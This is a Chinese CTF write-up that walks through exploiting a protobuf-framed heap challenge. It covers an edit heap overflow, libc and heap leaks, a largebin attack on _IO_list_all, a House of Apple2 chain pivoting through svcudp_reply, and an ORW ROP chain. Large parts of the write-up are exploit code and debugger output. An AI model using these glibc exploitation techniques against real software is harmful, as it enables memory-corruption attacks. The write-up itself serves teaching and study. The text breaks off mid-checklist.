protobuf协议的堆布局利用
接上一篇的研究,我们这里学习protobuf的堆布局的利用以及总结的apple2的分地址写的模版
接上一篇protobuf分析的题目,我们进一步研究protobuf封装下复杂的堆布局应该怎么去进行实际的利用
https://xz.aliyun.com/news/91736
这个题目我们没有用给出的2.39libc,我们使用本地的2.35的libc做的
题目本身不花哨,核心其实只有一句话:
edit可以把一个原本很小的 chunk,当成更大的 chunk 去写。
但真正把 flag 拿出来,难点不在“有没有溢出”,而在“怎么把这点有限的堆写原地榨干”。这题最后走的是:
edit 堆溢出
-> 做重叠 / 泄露 libc
-> 再泄露 heap
-> largebin attack 把 _IO_list_all 挂到堆上
-> House of Apple2 走到 _wide_vtable->__doallocate
-> magic_gadget = svcudp_reply+26
-> fake xdr_ops + leave; ret 栈迁移
-> ORW 读 ./flag这条链真正容易卡人的地方,不是“思路想不到”,而是每一层都差半个 qword。你如果只看最后的 exp,会觉得就是在堆上摆点结构;但真调起来,最费时间的恰恰是:
_IO_list_all指到的是 chunk header,不是FILE正常起点_wide_data一开始会吃到 chunk header,字段整体串位_wide_vtable和magic_gadget的两个 qword 顺序不能反_flags如果残留了0x800,路径会直接歪掉magic_gadget打到svcudp_reply+26以后,rbp又来自_IO_save_baserbp修好以后,svcudp_reply还要继续把那片 ORW 数据当成svcudp_data/XDR- 想先看全局,就看第三节到第八节,先把“这条链到底想干什么”装进脑子里
- 想看最费时间的调试点,就直接看第十节和第十一节,那是整题最容易卡死的地方
- 想直接抄核心利用骨架,就看第十六节
- 想下次更快复现,就看最后新增的“调试顺序”“本地/远程差异”“复盘清单”
一、先把题目边界固定下来
题目限制很明确:
- chunk 索引最多
15 - 单次操作的大小最多
0x500
程序收包方式也不是裸菜单,而是:
- 先读
4字节小端长度 - 再读 protobuf 正文
- 然后分发到对应 handler
恢复出来的协议是:
syntax = "proto3";
message HeapPayload {
int32 option = 1;
repeated int32 chunk_sizes = 2;
repeated int32 heap_chunks_id = 3;
bytes heap_content = 4;
}菜单映射已经确认:
1 = add2 = free3 = edit4 = show5 = exit
这一步一定要先固定。因为如果你还按老模板去猜什么 0 = add、8 字节长度头,后面所有堆风水都白做。
发包层的最小封装
当前样本最稳的写法就是:
from pwn import p32
from recovered_pb2 import HeapPayload
def pack_msg(option, ids=None, sizes=None, content=None):
msg = HeapPayload()
msg.option = option
if ids is not None:
if isinstance(ids, int):
msg.heap_chunks_id.append(ids)
else:
msg.heap_chunks_id.extend(ids)
if sizes is not None:
if isinstance(sizes, int):
msg.chunk_sizes.append(sizes)
else:
msg.chunk_sizes.extend(sizes)
if content is not None:
msg.heap_content = content
return msg.SerializeToString()
def send_msg(io, pay):
io.send(p32(len(pay)))
io.send(pay)这里看起来不起眼,但有两个很容易踩的点:
- 长度头一定是
p32,不是p64 heap_chunks_id和chunk_sizes是repeated,别直接拿标量去覆盖
这题前期如果交互不通,十有八九不是 house 走错了,而是包根本没发对。
二、漏洞本体其实不复杂:edit 是标准堆溢出
这题真正的洞,不在 add,而在 edit。
add 的逻辑比较正常:
size = user_size;
ptr = malloc(size);
memcpy(ptr, content, min(size, content_len));edit 的问题在于,它会重新相信用户传进来的 size,但不会检查这个新 size 是否还小于“当初申请这块 chunk 的大小”。
把逻辑翻成伪代码,大概就是:
void edit(HeapPayload *msg) {
int idx = msg->heap_chunks_id[0];
int size = msg->chunk_sizes[0];
char *ptr = chunk_table[idx];
if (idx < 0 || idx > 0xf) return;
if (size < 0 || size > 0x500) return;
if (msg->heap_content.len != 0) {
memcpy(ptr, msg->heap_content.data, min(size, msg->heap_content.len));
} else {
memset(ptr, 0, size);
}
}问题就出在:
ptr是旧 chunk 的指针size是你现在重新传进去的新值- 但是程序没有做
size <= old_chunk_size[idx]
所以你完全可以:
- 先申请一个小 chunk
- 再在
edit里传一个更大的 size - 直接把后面的 chunk header 和相邻数据一起抹过去
这就是为什么它是标准 heap overflow,没有什么“看上去像利用、实际上只是逻辑 bug”的歧义。
三、利用总路线先看一遍
如果只盯着最后的 IO 打法,很容易忘记前半截真正做了什么。
这题的完整路线可以先粗看成六段:
1. 用 edit 从 chunk2 溢出到 chunk3 / chunk4 的边界
目标不是一上来就改大块结构,而是先做 可控重叠,把 show 变成泄露工具。
2. 先泄露 libc
借已经 free 进 bin 的 chunk 残留指针,把 main_arena 附近地址读出来,拿到 libc 基址。
3. 再泄露 heap
利用第二次扩大后的观察窗口,把当前这片堆区域的真实基址算出来。
4. 做 largebin attack
把 _IO_list_all 改成指向堆上那块大 chunk 的 chunk header。
这句话非常关键。不是把 _IO_list_all 改到一个完完整整从 FILE + 0x0 开始的对象上,而是改到了堆块头。
5. 用 House of Apple2 走到 magic_gadget
也就是:
exit
-> _IO_flush_all_lockp
-> _IO_wfile_overflow
-> _IO_wdoallocbuf
-> _wide_vtable->__doallocate
-> svcudp_reply+266. 让 svcudp_reply 不是真的去做 RPC,而是帮我们栈迁移
把堆上的 chunk0 布置成半个 svcudp_data、半个 XDR、半个 ROP 栈,让它最后跳进 ORW。
这一步就是整条链里最“阴”的地方,也是最后出 flag 的关键。
四、堆风水:为什么是这组 chunk
最终脚本里的开局是:
add(0x420, b'H') # 0
add(0x420, b'H') # 1
add(0x420, b'A') # 2
add(0x420, b'B') # 3
add(0x410, b'C') # 4
add(0x410, b'D') # 5
add(0x410, b'E') # 6这组尺寸不是随便拍脑袋出来的。
为什么前面放多块 0x420
因为后面需要让 free 出来的 chunk 进 unsorted / largebin,并且还要给 chunk2 留足够的“编辑视角”去碰下一块的 header。
你如果前面块太小,虽然也能溢出,但后面做 largebin attack 时可利用的空间会很别扭;你如果前面块太大,又会把 0x500 限制挤爆。
这里的 0x420 本质上是在给三件事留空间:
- chunk2 有足够的用户区往后顶
- chunk3 free 之后能留下合适的 bin 行为
- 后面的大块 fake
FILE还能塞进去
为什么后面再跟三块 0x410
这是为了把后面的堆形状固定住,同时给 largebin 这段留一个更好操作的承接区。
原理说白了不复杂:你做堆题的时候,真正可怕的不是“利用失败”,而是“这一次失败和上一次失败完全不是一回事”。加这几块就是在给后面的块制造稳定邻接关系。
直观上可以这样理解
把这一段想象成一排挨着放的箱子:
- 前面四个大箱子负责以后进 bin、留指针、做 largebin attack
- 后面三个略小一点的箱子负责隔离和承接
这样你每次从 chunk2 往后写的时候,不会莫名其妙撞进一片完全不受控的地形。
五、第一步:先把 libc 漏出来
真正开始利用的第一下是:
free(3)
pd = b'a' * 0x420 + p64(0x430) + p64(0x421)
edit(2, len(pd), pd)这一步的意思不是“我已经要直接改 _IO_list_all 了”,远远不是。
这里先做的是:
- 把 chunk3 送去 free
- 然后从 chunk2 越界,把后面 chunk 头调整成我们想看的样子
后面接着是:
pd = b'a' * 0x420 + b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
lib = ru(6) - 0x21b0d0这里为什么能泄 libc
因为你让 show 打印 chunk2 的内容时,显示边界已经不是干净停在 chunk2 自己那里了,而是会把后面 free chunk 里残留的管理指针一并带出来。
unsorted bin 的 chunk 残留里最值钱的就是指向 main_arena 的指针。
所以这一段的本质是:
- 用
@当标记,先把自己写到一个好找的位置 show(2)后,先recvuntil(b'@' * 0x10)对齐到这个标记- 再读后面那几个字节,就是 libc 里的地址
换算脚本里写成:
lib = leak - 0x21b0d0这个偏移对应的是当前本地环境下用来还原 libc base 的基准点。
这一阶段最容易犯的错
很多人一看到“能 leak libc”就会立刻想往 _IO_list_all 上冲。
其实这题这里最该做的,是稳稳地把“怎么看、看到哪里、对齐标记是什么、下一次还能不能稳定复现”先做扎实。因为后面 heap leak 还是要复用同一种观察手法。
六、第二步:把 heap 基址也泄露出来
第一轮 libc leak 之后,脚本继续:
pd = b'a' * 0x430
pd += b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
heap = ru(6) - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10这段看上去最容易让人皱眉,因为公式很丑。
先说结论
这个公式不是“魔法数乱减”,它干的事情其实很朴素:
- 你现在泄出来的不是 heap base 本身
- 而是当前这套重叠布局里,一个“中间位置”的地址
- 所以要把它一步步还原回真正的 heap 基址
这也是为什么这类题里,经常会出现“脚本里有一串看着很烦的修正项”。它们不是理论上非得这么写,而是你最后拿到的那个 leak,本来就不是最干净的起点。
这一步的实质
第一轮我们主要是把眼睛伸进了 libc 那头。
第二轮则是把观察窗口再往后推,让 show 带出更多当前堆区域里的信息,这样就能把 heap + 某个已知相对偏移 还原出来。
从利用角度看,只要最后能稳定得到:
libc baseheap base
后面 largebin 和 fake FILE 的地址就都能写死成公式。
七、真正的转折点:largebin attack 把 _IO_list_all 挂到堆上
有了双泄露以后,就可以开始做真正的控制流转换。
关键 payload 是这一段:
pd = (
b'a' * 0x420
+ p64(0x430)
+ p64(0x431)
+ p64(lib + 0x21b0d0) * 2
+ p64(heap - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10)
+ p64(lib + 0x21b680 - 0x20)
+ b'a' * 0x20
)
edit(2, len(pd), pd)
free(5)
add(0x4f0, b'F')这段到底在干什么
一句话概括:
用 chunk2 的溢出,伪造 free chunk 在 largebin 链上的关键指针,然后通过一次新的申请触发 largebin 整理,让 glibc 帮我们把
_IO_list_all改掉。
目标不是任意写,而是“按 glibc 自己的规则去写”
这类攻击的好处在于:
- 你不需要直接拥有一个无限制任意写
- 你只要把 largebin 相关的几个链接字段摆成 glibc 接受的样子
- 在 bin 处理逻辑自己跑的时候,它会顺手替你把目标地址上的内容改掉
这题最终的目标就是:
_IO_list_all = file_addr但这里的 file_addr 不是一个乖乖从 FILE + 0x0 开始的对象,而是:
file_addr = heap + 0x6180它实际落在的是一块大 chunk 的 chunk header。
这一步特别重要的认知
后面几乎所有“为什么差了 0x8 / 0x10”的问题,根源都在这儿:
_IO_list_all 现在挂上的不是“正常 FILE 起点”,而是 chunk header 起点。
所以后面你在堆上写 fake FILE 的时候,实际上是在做一件非常别扭的事:
- 解释器从
FILE + 0x0开始看 - 但你真正能方便覆盖的,是从
FILE + 0x10开始那一片
这就是为什么这题最后不是“堆上放一个完整的 _IO_FILE_plus 就行”,而是一个“从 FILE + 0x10 开始的部分覆盖布局”。
八、为什么最后选 IO,而不是继续找栈泄露
做到这里,一般人会本能地去想:
- 能不能继续泄栈
- 能不能直接劫持返回地址
- 能不能走别的 hook
这题最后没这么走,原因很现实:
- 栈这边不是完全不能泄,但路径不顺
- 现有的堆布局已经很适合打 IO
- 而且我们已经有 libc 和 heap 了,House of Apple2 的条件基本都齐了
所以这里选 IO,不是因为“IO 高级”,而是因为它在这题里最顺手。
最终走的触发路径
quit_menu()
-> exit
-> _IO_flush_all_lockp
-> _IO_wfile_overflow
-> _IO_wdoallocbuf
-> _wide_vtable->__doallocate
-> magic_gadget这里的 magic_gadget 选的是:
magic_gadget = lib + 0x16a0da也就是 glibc 2.35 里的:
svcudp_reply+26这不是因为 RPC 有多神奇,而是这段代码刚好能把我们堆上的数据解释成一种很适合做栈迁移的伪结构。
九、fake FILE 的真正难点:它不是从 0x0 开始写的
这一节是整题最该看懂的地方。
我们最后写到堆上的 fake FILE,不是一个常规教科书式的完整结构,而是一份 部分覆盖版:
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
...你如果第一次看,会觉得奇怪:
为什么第一项不是
_flags?
因为 _flags 那一格在运行时已经被 chunk header 占掉了。
这里的真实内存关系
当前布局里:
_IO_list_all指向file_addrfile_addr是 chunk header 起点- fake
FILE的主体是从file_addr + 0x10开始往后摆
所以它不是:
fake_io[0x00] -> _flags而是:
fake_io[0x00] -> _IO_read_end
fake_io[0x08] -> _IO_read_base
fake_io[0x10] -> _IO_write_base
fake_io[0x18] -> _IO_write_ptr这件事不搞清楚,后面所有“为什么结构明明像是对的,跑起来却不对”都会陷入死循环。
十、Apple2 这一段一共踩了五个坑
这一段值得单独写,因为它基本就是这题后半截的全部时间成本。
坑一:_wide_data 起点错了 0x8
最早的状态里,_wide_data 直接指回 file_addr,也就是 chunk header 起点。
你在 gdb 里会看到这种很别扭的东西:
p *(struct _IO_wide_data*)0x563e406dc180
$3 = {
_IO_read_ptr = 0x4e69fb0,
_IO_read_end = 0x421,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x1,
...
}这里一眼就能看出来:
_IO_read_ptr读到了 chunk header 那格脏数据write_base / write_ptr / write_end整体串位了
而我们原本真正想要的是:
_IO_write_base = 0
_IO_write_ptr = 1
_IO_write_end = 0所以修正就是:
IO_wide_data_addr = file_addr + 0x8这一步的逻辑不是“凭感觉调 0x8”,而是:
- 现在的解释起点吃掉了 chunk header 的两个 qword
- 所以把
_wide_data后移一个 qword,刚好把写缓冲字段重新对齐回来
坑二:_wide_vtable 和 magic_gadget 的两个 qword 放反了
修完 _wide_data 后,又会看到另一个经典现象:
_wide_vtable = 0x7ffff7d6a0da <svcudp_reply+26>这说明它不是没走到 gadget,而是 把 gadget 本身当成 _wide_vtable 指针 读了。
这时应该满足的关系其实是:
_wide_vtable = file_addr + 0x78
(_wide_vtable + 0x68) = file_addr + 0xe0 = magic_gadget所以 tail 的顺序要是:
fake_io += p64(lib + libc.sym['_IO_wfile_jumps'])
fake_io += p64(magic_gadget)
fake_io += p64(wide_vtable_addr)而不是把后两个 qword 反过来。
坑三:_flags 残留了 0x800
再往后,经常会打到 _IO_wfile_overflow 但就是不进 _IO_wdoallocbuf。
根因不是 gadget 不行,而是:
p/x ((struct _IO_FILE *)$rdi)->_flags
$1 = 0x4e69fb0
p/x (((struct _IO_FILE *)$rdi)->_flags & 0x800)
$2 = 0x800也就是 _IO_CURRENTLY_PUTTING 这位脏了。
这样 _IO_wfile_overflow 一开始就会走偏。
所以最后要把 chunk header 那格清干净:
pd = b'a' * 0x410 + p64(0xfbad0000) + p64(0x421)这组值的意义就是:
- 保留正常
_IO_MAGIC - 清掉多余低位 flag
- 特别是把
0x800清掉

坑四:svcudp_reply+30 崩了,不是 msg 有问题,是 rbp 是空
当链终于走到 magic_gadget = svcudp_reply+26 以后,又会遇到一个很迷惑的崩点:
svcudp_reply (xprt=0x555555561180, msg=0xffffffff)
=> mov rax, qword ptr [rbp + 0x18]乍看会觉得是 msg=0xffffffff 很危险,其实真正先炸掉的是前一条:
mov rbp, qword ptr [rdi + 0x48]也就是说这里的 rbp 来自:
fp + 0x48而在当前这份部分覆盖 FILE 里,fp + 0x48 正好就是 _IO_save_base。
如果你这里写的是 0,那 svcudp_reply+30 当然会在 mov rax, [rbp+0x18] 上直接死。
所以修正是:
fake_io += p64(chunk0) # _IO_save_base这一步修完后,rbp 就会变成我们自己的 chunk0,而不是空指针。
坑五:svcudp_reply+48 继续崩,因为 fake xdr_ops 根本没填
rbp 修好以后,下一次崩溃就会非常直白:
RBP 0x55555555d2f0 ◂— 0x67616c662f2e /* './flag' */
RAX 0x55555555d520 ◂— 0
RIP 0x7ffff7d6a0f0 (svcudp_reply+48) ◂— call qword ptr [rax + 0x28]然后你再 tele rbp:
00:0000│ rbp 0x55555555d2f0 ◂— 0x67616c662f2e /* './flag' */
01:0008│+008 0x55555555d2f8 —▸ 0x7ffff7c3a889 (bindtextdomain+25) ◂— add rsp, 0x18
02:0010│ 0x55555555d300 ◂— 0
03:0018│+018 0x55555555d308 —▸ 0x55555555d520 ◂— 0
04:0020│+020 0x55555555d310 —▸ 0x7ffff7c4da83 ◂— leave这里其实已经把答案写脸上了:
rbp + 0x18取到的是0x55555555d520svcudp_reply接下来要call [rax + 0x28]- 可是
0x55555555d520那张表全是空
这就说明 chunk0 已经被当成了 svcudp_data
,其中的 su_xdrs.x_ops 被解释成了我们堆上的一张 xdr_ops 表。
所以最后一补就是:
def build_fake_xdr_ops(x_setpostn_target):
ops = bytearray(0x48)
ops[0x28:0x30] = p64(x_setpostn_target)
return bytes(ops)把这张表放到:
fake_xdr_ops_addr = chunk0 + 0x230然后让:
x_setpostn = leave_ret这样 svcudp_reply+48 的那次 call 就不再是空指针,而是直接给我们做栈迁移。
十一、为什么 svcudp_reply 反而成了最好用的 pivot
这一段如果只背结论,会很像玄学。其实把反汇编摊开看,逻辑非常清楚:
svcudp_reply+26: mov rbp, qword ptr [rdi + 0x48]
svcudp_reply+30: mov rax, qword ptr [rbp + 0x18]
svcudp_reply+34: lea r13, [rbp + 0x10]
svcudp_reply+38: mov dword ptr [rbp + 0x10], 0
svcudp_reply+45: mov rdi, r13
svcudp_reply+48: call qword ptr [rax + 0x28]把它代进我们的布局里就是:
rdi是 fakeFILE[rdi + 0x48]是_IO_save_base = chunk0- 所以
rbp = chunk0 [rbp + 0x18] = fake_xdr_ops_addr[rax + 0x28] = fake_xdr_ops->x_setpostn = leave_ret
对于chunk0这的内存地址的内部布局
chunk0 + 0x00 "./flag"
chunk0 + 0x08 add_rsp18
chunk0 + 0x10 会被 svcudp_reply 清零
chunk0 + 0x18 fake_xdr_ops_addr
chunk0 + 0x28 ORW ROP 开始
chunk0 + 0x100 读 flag 的 buffer
chunk0 + 0x230 fake xdr_ops这就变成:
magic_gadget
-> rbp = chunk0
-> rax = fake_xdr_ops
-> call x_setpostn
-> leave; ret这里为什么 ORW 开头长得这么怪
最终 ORW 栈开头是:
orw = b'./flag\x00\x00'
orw += p64(add_rsp18)
orw += p64(0)
orw += p64(fake_xdr_ops_addr)
orw += p64(leave_ret)
...第一次看很多人会问:
为什么把
"./flag"放在最前面?这不是会把rbp弄脏吗?
答案是:会,但没关系,而且是故意这么摆的。
因为 leave_ret 执行时会:
rsp = rbp = chunk0pop rbp,于是新的rbp = *(chunk0) = "./flag"ret,于是跳到*(chunk0 + 0x8) = add_rsp18
而 add_rsp18 接着会:
- 把
rsp从chunk0 + 0x10直接加到chunk0 + 0x28 - 再
ret
这样一来,前面三格正好都被“消费”掉:
chunk0 + 0x00放字符串./flagchunk0 + 0x08放add_rsp18chunk0 + 0x10这一格会被svcudp_reply清成 0chunk0 + 0x18这一格要存 fakexdr_ops指针chunk0 + 0x20这一格无所谓,反正会被add rsp, 0x18跨过去
真正的 ROP 从:
chunk0 + 0x28才开始。
这也是为什么这条链看起来很别扭,但实际上咬合得非常紧。
十二、ORW 链为什么第一步先 close(0)
最终 ORW 是:
# close(0)
pop_rdi ; 0 ; close
# open("./flag", 0)
pop_rdi ; orw_addr
pop_rsi ; 0
pop_rax ; 2
syscall
# read(0, buf, 0x50)
pop_rdi ; 0
pop_rsi ; orw_addr + 0x100
pop_rdx12 ; 0x50 ; 0
read
# write(1, buf, 0x50)
pop_rdi ; 1
pop_rsi ; orw_addr + 0x100
pop_rdx12 ; 0x50 ; 0
write这里的第一步 close(0) 很关键,不是装饰。
这么做的目的只有一个:
让后面的
open("./flag", O_RDONLY)尽量把 fd 拿成0
这样后面的 read(0, ...) 就不用再猜你打开文件后的返回值是多少,链子会稳定很多。
这个小细节挺像老题的味道:不追求“理论上最短”,追求“这次调好了,下次还是这样”。
十三、最终 working 版本里,fake xdr_ops 只填了一个槽位
这也是一个很容易被过度设计的地方。
很多人一看到 xdr_ops 会本能地想:
- 要不要把整张表都伪造全
- 要不要把
x_getlong、x_putlong、x_inline全补上
其实这题最后根本没必要。
因为在我们实际命中的路径里,svcudp_reply 第一件事只会用到:
x_setpostn它在 struct xdr_ops 里的偏移正好是:
+0x28所以最小 fake 只要:
def build_fake_xdr_ops(x_setpostn_target):
ops = bytearray(0x48)
ops[0x28:0x30] = p64(x_setpostn_target)
return bytes(ops)其他槽位都可以先留 0。
这不是偷懒,而是减少无意义复杂度。当前路径只吃这一口,你就别给它塞一桌菜。
十四、关键结构最后是怎么摆的
把最终 working 版本收敛成一个平面图,大概是这样:
1. _IO_list_all 指向的那块堆
file_addr = heap + 0x6180这里是 largebin 写进去的目标,也是 chunk header 起点。
2. chunk header 这两格
file_addr + 0x0 -> _flags = 0xfbad0000
file_addr + 0x8 -> size = 0x4213. 从 file_addr + 0x10 开始的 partial fake FILE
核心字段是:
_IO_write_base = 0
_IO_write_ptr = 1
_IO_write_end = 0
_lock = _IO_stdfile_2_lock
_offset = -1
_wide_data = file_addr + 0x8
_mode = -1
vtable = _IO_wfile_jumps
_IO_save_base = chunk04. wide_data 和 wide_vtable
wide_data = file_addr + 0x8
wide_vtable = file_addr + 0x78
file_addr+0xe0 = magic_gadget
file_addr+0xe8 = wide_vtable满足:
(_wide_vtable + 0x68) = magic_gadget5. chunk0 这片控制区
chunk0 + 0x00 = "./flag\0\0"
chunk0 + 0x08 = add_rsp18
chunk0 + 0x10 = 被 svcudp_reply 清零
chunk0 + 0x18 = fake_xdr_ops_addr
chunk0 + 0x20 = 可被跳过
chunk0 + 0x28 = ORW 真正开始
chunk0 + 0x230 = fake_xdr_ops这个布局的美感就在于:没有一格是白放的。哪怕是“被清零”那一格,也是提前故意留出来让它清。
十五、这题最值得记住的不是 House of Apple2,而是“错位”两个字
很多人做完这题,最后记住的是:
- largebin attack
_IO_list_all- House of Apple2
svcudp_reply
这些当然都对,但我觉得这题最应该记住的,其实是:
一条利用链真正难的,经常不是有没有那个大思路,而是你有没有意识到“当前解释视角”和“你实际写入起点”不是一回事。
这题后半截所有折腾,本质上都在修错位:
_IO_list_all挂到 chunk header,导致 fakeFILE起点错位_wide_data吃到 chunk header,导致写缓冲字段错位wide_vtable/magic_gadget两个 qword 放反,导致功能位错位_flags残留脏位,导致控制流分支错位_IO_save_base写成 0,导致svcudp_replyframe 指针错位- fake
xdr_ops没写,导致call [rax+0x28]目标错位
所以这题不是一个“靠背模板就能秒”的 IO 题,它更像是一道很典型的调试题:
- 思路先有
- 结构慢慢对
- 每次都只修一层
- 最后把整条链收紧
这种题调顺了以后,再回头看最终 exp,会觉得代码并不长;但如果中间任何一个 0x8 没看明白,两个晚上都能卡在同一行。
十六、关键代码片段
这里不再把整份脚本原样塞进来,而是把最关键的几段单独摘出来,方便以后复盘。
1. 协议封装
def pack_msg(option, ids=None, sizes=None, content=None):
msg = HeapPayload()
msg.option = option
if ids is not None:
if isinstance(ids, int):
msg.heap_chunks_id.append(ids)
else:
msg.heap_chunks_id.extend(ids)
if sizes is not None:
if isinstance(sizes, int):
msg.chunk_sizes.append(sizes)
else:
msg.chunk_sizes.extend(sizes)
if content is not None:
msg.heap_content = content
return msg.SerializeToString()
def send_msg(pay):
s(p32(len(pay)))
s(pay)2. 双泄露
free(3)
pd = b'a' * 0x420 + p64(0x430) + p64(0x421)
edit(2, len(pd), pd)
pd = b'a' * 0x420 + b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
lib = ru(6) - 0x21b0d0
pd = b'a' * 0x430 + b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
heap = ru(6) - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x103. largebin attack
pd = (
b'a' * 0x420
+ p64(0x430)
+ p64(0x431)
+ p64(lib + 0x21b0d0) * 2
+ p64(heap - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10)
+ p64(lib + 0x21b680 - 0x20)
+ b'a' * 0x20
)
edit(2, len(pd), pd)
free(5)
add(0x4f0, b'F')4. fake xdr_ops 和 ORW 控制区
def build_fake_xdr_ops(x_setpostn_target):
ops = bytearray(0x48)
ops[0x28:0x30] = p64(x_setpostn_target)
return bytes(ops)
orw_addr = heap + 0x22f0
chunk0 = heap + 0x22f0
fake_xdr_ops_addr = chunk0 + 0x230
orw = b'./flag\x00\x00' + p64(add_rsp18) + p64(0) + p64(fake_xdr_ops_addr)
orw += p64(leave_ret)
orw += p64(pop_rdi) + p64(0) + p64(close_addr)
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)
support = bytearray(orw)
support = support.ljust(fake_xdr_ops_addr - chunk0, b"\x00")
support += build_fake_xdr_ops(leave_ret)
edit(0, len(support), bytes(support))5. partial fake FILE
file_addr = heap + 0x6180
IO_wide_data_addr = file_addr + 0x8
wide_vtable_addr = file_addr + 0x78
_IO_stdfile_2_lock = lib + 0x21ca60
magic_gadget = lib + 0x16a0da
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base
fake_io += p64(0) # _IO_buf_end
fake_io += p64(chunk0) # _IO_save_base
fake_io += p64(0) * 3
fake_io += p64(0) # _chain
fake_io += p32(2)
fake_io += p32(0)
fake_io += p64(0xffffffffffffffff)
fake_io += p16(0) + b"\x00" + b"\n" + p32(0)
fake_io += p64(_IO_stdfile_2_lock)
fake_io += p64(0xffffffffffffffff)
fake_io += p64(0)
fake_io += p64(IO_wide_data_addr)
fake_io += p64(0) * 3
fake_io += p32(0xffffffff)
fake_io += b"\x00" * 19
fake_io = fake_io.ljust(0xc8, b"\x00")
fake_io += p64(lib + libc.sym['_IO_wfile_jumps'])
fake_io += p64(magic_gadget)
fake_io += p64(wide_vtable_addr)
pd = b'a' * 0x410 + p64(0xfbad0000) + p64(0x421)
edit(4, len(pd + fake_io), pd + fake_io)6. 触发
quit_menu()
io.interactive()这个 quit_menu() 看起来再普通不过,但它就是整条 IO 链的扳机。没有它,前面堆上摆得再漂亮,也只是静态艺术品。
十七、最后收个尾
这题最后能出 flag,靠的不是某一个神奇 gadget,而是三件事同时成立:
- 前半段堆风水足够稳,能稳定拿到 libc / heap 双泄露
_IO_list_all被 largebin attack 正确挂到了堆上- 后半段 Apple2 的每一个偏移都被一点点修正到了正确位置
如果一定要把整题压成一句话,我会这么说:
这题是拿一个普通的
edit堆溢出,当起点去做一条非常讲究“字段对齐感”的 IO 利用链。
前半段拼的是地形,后半段拼的是耐心。
能把这题调通,说明你已经不是“会背 House of Apple2”,而是真正能把一条现成思路一点点落到当前样本上。
十八、这题最省时间的调试顺序
很多时候不是不会,而是断点下得太散。如果一会儿看 edit,一会儿看 malloc,一会儿又跳去盯 syscall,很容易把自己绕晕。对这题来说,最省时间的方式不是“多断”,而是“分阶段断”。
第一阶段:只验证协议和交互
目标只有一个:
证明程序确实在按你发的 protobuf 包工作。
这个阶段别急着打 house,也别急着去看 _IO_list_all。
你只要确认:
add / free / edit / show / exit菜单编号没写错- 长度头用的是
p32 - 本地
process()没有因为 PTY /gdb.attach()影响交互
这一阶段如果有问题,后面全是幻觉。
第二阶段:只验证双泄露
这一阶段最值得盯的不是所有堆块,而是 chunk2 的“显示边界”到底推进到哪里了。
建议只看两件事:
x/40gx <chunk2 user area>
x/20gx <chunk3 chunk header and fd/bk>然后脚本里配合:
rt(b'@' * 0x10)
ru(6)一旦你发现:
- 每次都能稳定对齐到
@ * 0x10 - 读出来的地址每次都在同一类区域里
那就够了,别在这个阶段就开始改 IO 字段。
第三阶段:专门验证 largebin attack 是否真的改到 _IO_list_all
这一阶段最值得下的不是一堆 malloc 断点,而是看结果:
p _IO_list_all
tele _IO_list_all你要确认的是:
_IO_list_all真的已经不再指向原始_IO_2_1_stderr_- 它已经挂到了
heap + 0x6180那片 chunk header
这一步如果没成,后面 fake FILE 再漂亮也白搭。
第四阶段:只盯 _IO_flush_all_lockp 这条链
从这一步开始,别乱断到别的地方,按触发路径追就行:
b exit
b _IO_flush_all_lockp
b _IO_wfile_overflow
b _IO_wfile_sync
b _IO_wdoallocbuf如果你怀疑 _flags 影响分支,再补:
b *(_IO_wfile_overflow+156)
b *(_IO_wfile_overflow+608)
b *(_IO_wfile_overflow+688)这时你真正要看的只有三类信息:
- 当前命中的是
overflow还是sync _flags & 0x800还在不在_wide_data有没有按你想的方式被解释
第五阶段:只验证 Apple2 的四个关键字段
走到 fake FILE 以后,先别急着看 ORW。
先看:
p *(struct _IO_FILE_plus *)_IO_list_all
p *(struct _IO_wide_data*)((struct _IO_FILE_plus *)_IO_list_all)->file._wide_data
p *(const struct _IO_jump_t *)(file_addr + 0x78)你只需要先确认四件事:
_wide_data == file_addr + 0x8_IO_write_base == 0_IO_write_ptr == 1_wide_vtable + 0x68 == magic_gadget
如果这四件事不对,先别往 svcudp_reply 走,继续修偏移。
第六阶段:只盯 svcudp_reply
这时断点就很简单了:
b *svcudp_reply+26
b *svcudp_reply+30
b *svcudp_reply+48然后按顺序看:
tele $rdi
tele $rbp
tele $rax你会发现这三步实际上就是在问三个问题:
fp + 0x48有没有把rbp指到chunk0rbp + 0x18有没有把rax指到 fakexdr_opsrax + 0x28有没有真的填成leave_ret
只要这三步都对,后面就不再是“结构题”,而是普通 ROP 题了。
第七阶段:最后才看 ORW
真的走进 ORW 以后,才需要去看这些:
x/20gx chunk0
x/20gx chunk0 + 0x28
x/s chunk0这时最值得确认的是:
chunk0开头的"./flag"还在chunk0 + 0x8是add_rsp18chunk0 + 0x28开始已经是你预期的 ROPopen之后 fd 是否真的回到了0
这一整套顺序的核心思想其实很简单:
每一阶段只问“这一层有没有对”,不要同时问五层。
结语
如果下一次你把脚本删了,只剩二进制和这份文档,我建议按下面这个 checklist 来。
第一步:先把交互层打通
- 恢复 protobuf 协议
- 确认菜单映射
1~5 - 确认长度头是
p32 - 确认本地交互不受 PTY /
gdb.attach()干扰
第二步:只做漏洞最小触发
- 先申请小 chunk
- 再
